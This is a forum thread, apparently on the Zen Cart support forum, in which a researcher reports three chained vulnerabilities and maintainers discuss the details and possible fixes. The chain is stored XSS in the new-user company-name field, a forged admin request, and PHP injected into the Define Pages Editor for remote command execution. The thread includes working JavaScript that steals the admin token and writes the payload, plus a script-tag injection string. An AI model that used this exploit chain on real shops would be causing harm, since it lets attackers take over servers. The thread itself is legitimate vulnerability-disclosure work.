Yo, 3 vulns.

Yoyo, I'd like to report (and hopefully get a CVE) for 3 vulnerabilities (chained together for RCE). Do I just drop em here, or do we take it in private?
Also, do you guys do bounties?

Sincerely, h3x.

Best to send the explanations and proof-of-concept to us at [email protected] so we can investigate. But it can also be discussed here.
If a CVE is warranted we're happy to cooperate for suitable reporting/response/etc.

We don't have a bounty program at this time.

We tried reaching out to that e-mail address and got a delivery error.

Here's a PoC for you:
https://media.discordapp.net/attachments/796095196207120445/809035374268645436/poc.mp4

Thanks. We'll investigate.

Without the technical details? I'll give them out ya know.

T-h3x:

Without the technical details? I'll give them out ya know.
Oh, yes, please share them. I kinda suggested that earlier, but you only shared the video, so instantly it felt like you were keeping the tech details to yourself.

I find that a lot of people who suggest vulnerabilities don't seem to want to share the technical details ... for some reason many seem to think that sharing a video or proof "that it happened" is enough, instead of actually sharing the real root-cause. The typical persona seems to be "we're so smart that we figured this out, but you gotta guess the details yourself".
My sincerest apologies for misinterpreting your intentions. It's delightful to find a person who wants to break that negative stereotype!

If I follow the video PoC correctly, it seems:

• new-user "company name" field: inject script tag with a .js URL ... so probably need to prevent storage of script tags if user submits them, investigating whether other fields are similarly at risk.
• when Admin user displays new users, it executes the script (via admin) to push payload into define page ... so probably need to sanitize outputs better on Users page
• that script then, as admin, injects code into Define Pages Editor page content via form-post ... can this be stopped? or is it just normal operation?
• now when catalog opens that Define page an attacker can pass GET commands to do RCE exploit ... unless PHP has "system" or "exec" commands disabled in config. (The intention has always been that PHP code could be executed in Define Pages, but should only be able to be "put" into the file by an authorized admin or by direct file edit.)

Ah, sorry, missed you suggesting that. Not sober at the moment.

Let's seeeee...

• new-user "company name" field: inject script tag with a .js URL ... so probably need to prevent storage of script tags if user submits them, investigating whether other fields are similarly at risk.
  Yes, essentially. xss in company name. There's another issue in another form there (forgot which one), causing an issue with mariadb based on an entry being too long. Forgot which one, never really noted that one down. (Think it was last name)

• when Admin user displays new users, it executes the script (via admin) to push payload into define page ... so probably need to sanitize outputs better on Users page
  When admin displays the user, the code (be it html or javascript, really) will be executed, in the admin's browser, yes.

• that script then, as admin, injects code into Define Pages Editor page content via form-post ... can this be stopped? or is it just normal operation?
  That is most likely normal functionality, which isn't really a problem in itself, unless a user can control what happens there (by using, for example, an xss).

• now when catalog opens that Define page an attacker can pass GET commands to do RCE exploit ... unless PHP has "system" or "exec" commands disabled in config. (The intention has always been that PHP code could be executed in Define Pages, but should only be able to be "put" into the file by an authorized admin or by direct file edit.)
  Yep. An attacker has the admin, unknowingly add a "backdoor" into the page, which in this case is just using a simple system() for command execution. An attacker could use anything else he wants there too, but as said, it's not an issue if it's not controlled by an attacker...or an angry administrator.

Pardon messy formatting in this reply, I'm really not used to using forums.

Ah, sorry, didn't mean to come across that way. I'm just halfway blind atm.

Ah, forgot. Here's the "exploit code" used.

function zenInjectCode(url, payload) {
    var securityToken = document.body.innerHTML.match(/securityToken = '([a-f0-9]{32})'/)[1];
    var admincp = window.location.href.split('/').reverse()[1]
    var exploit = new XMLHttpRequest();
    
    exploit.open("POST", url +'/' + admincp + '/index.php?cmd=define_pages_editor&lngdir=english&filename=define_page_2.php&action=save');
    exploit.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

    exploit.send(
        'securityToken=' + securityToken +
        '&file_contents=' + encodeURIComponent(payload)
    );
}

And something like

<script src=//herp.derp.test.js>

in company name.

Sorry, forgot to add that down here.
Do you guys use IRC? I find it so much easier to communicate over IRC than forums.

Thanks for all the details.

One more question for today: which version of Zen Cart are you using?

Currently the latest released version is v1.5.7c as available on SourceForge.
But sometimes people grab the un-released unofficial code from github ... so I just wanted to check where you got it, to know where to investigate first.

Nah, bro. Downloaded latest version from zencart on...fifth January 2021. Can't remember version number, already removed it from my machine to audit some other software, but...1.5.7 sounds about right.

Sorry, one more question: has there been chatter about this exploit on various hacker forums?

(I'm not suggesting you didn't discover this yourself. I'm happy to give you credit for reporting it.)

I'm asking because it's helpful to know if this is related to fake-account registrations we see occurring on live stores "in-the-wild", so we can try to discern whether this is already being exploited or if it's truly a zero-day.
Knowing this helps us protect existing storeowners more effectively when we start to try to communicate to them about the requirements for fixing, etc.

Well, we discussed it in our team-server on discord and our IRC. (bitst0rm discord, privy/tcpdirect IRC)

Ah, might be worth mentioning; no one outside of the auditing team has the PoC. This is a fresh, unused (apart from our testing-environment) 0day. So the total of people who got a PoC, or technical details of the exploit are the core bitst0rm members. (That's the crew =)). So highly doubt anyone has, at any point, used it. If it was used at some point, it was completely unrelated to us. (us being bitst0rm)

Well, apart from you, cause now you have the PoC too.

Okay, thanks.

No problem, bro. How's it going? Need anything else, from a more sober me?
Sorry about yesterday, had something to drink before deciding it would be best to report this vulnerability.

Had an idea. Re-submit password when submitting changes to the site (admin). That way you'll eliminate the csrf portion of the attack. And the xss in the admin panel when he views users. That should be a sufficient patch.